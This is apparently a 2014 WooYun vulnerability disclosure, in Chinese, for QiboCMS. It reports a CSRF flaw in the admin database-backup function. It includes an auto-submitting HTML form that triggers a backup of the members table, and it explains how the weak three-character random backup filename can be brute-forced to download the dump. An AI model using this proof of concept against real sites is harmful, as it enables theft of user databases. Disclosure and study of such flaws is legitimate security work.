当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077131

漏洞标题：齐博CMS 某csrf可导致直接脱裤

相关厂商：齐博CMS

漏洞作者： JJ Fly

提交时间：2014-09-24 11:40

修复时间：2014-12-20 11:40

公开时间：2014-12-20 11:40

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-24： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-11-23： 细节向核心白帽子及相关领域专家公开
2014-12-03： 细节向普通白帽子公开
2014-12-13： 细节向实习白帽子公开
2014-12-20： 细节向公众公开

简要描述：

齐博CMS 某csrf可导致直接脱裤
仅测试整站系统和视频系统。
然后下载了分类信息，企业，考试三个系统都发现了相同的代码。
so 应该是全版本吧。

详细说明：

用整站系统进行说明
1.
数据库备份处没有进行csrf防护。
我们来构造下

<form method='post' action='http://192.168.1.116/admin/index.php?lfj=mysql&action=out'>
	<input type='text' name='tabledb[]' value='qb_members'>
	<input type='text' name='Submit' value='立刻备份'>
	<input type='text' name='baksize' value='1024'>
	<input type='text' name='repair' value='0'>
	<input type='text' name='rowsnum' value='200'>
	<input type='text' name='mysqlversion' value='0'>
</form>
<script>
	document.forms[0].submit();
</script>


2.
我们来看下生成备份文件路径的代码

$rand_dir=date("Y-m-d.",time()).strtolower(rands(3));


调用了rands这个函数。

/**
*取得随机字符
**/
function rands($length,$strtolower=1) {
	$hash = '';
	$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
	$max = strlen($chars) - 1;
	mt_srand((double)microtime() * 1000000);
	for($i = 0; $i < $length; $i++) {
		$hash .= $chars[mt_rand(0, $max)];
	}
	if($strtolower==1){
		$hash=strtolower($hash);
	}
	return $hash;
}


生成的文件名 例如：2014-09-24.oeu
由此可见最后的后缀可以进行爆破
后缀有3个字符。
每个字符36种可能。(被转换成小写了。)
36*36*36 = 46656
完全可以进行爆破。

漏洞证明：

图片1.png

修复方案：

你们更专业

版权声明：转载请注明来源 JJ Fly@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-20 11:40

厂商回复：

最新状态：

暂无